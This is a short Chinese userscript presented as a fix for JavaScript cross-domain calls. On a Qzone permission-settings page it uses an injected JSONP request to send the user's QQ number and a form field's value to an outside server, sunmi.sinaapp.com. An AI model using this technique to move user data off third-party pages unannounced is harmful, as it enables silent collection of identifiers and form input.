完美解决JS跨域问题

 1 // ==UserScript==
 2 // @name xiaobao
 3 // @namespace sunmi.sinaapp.com
 4 // @description for xiaobao
 5 // @include http://cnc.qzs.qq.com/qzone/v6/setting/permit/visit.html
 6 // @version 1
 7 // ==/UserScript==
 8 
 9 
10 document.getElementById("friend_a_1").attachEvent("onblur", function(){
11     var JSONP = document.createElement("script");
12     JSONP.src = "http://sunmi.sinaapp.com/xiaobao.php?op=set&uin=" + top.g_iUin + "&code=" + encodeURI(document.getElementById("friend_a_1").value);
13     document.body.appendChild(JSONP);
14 });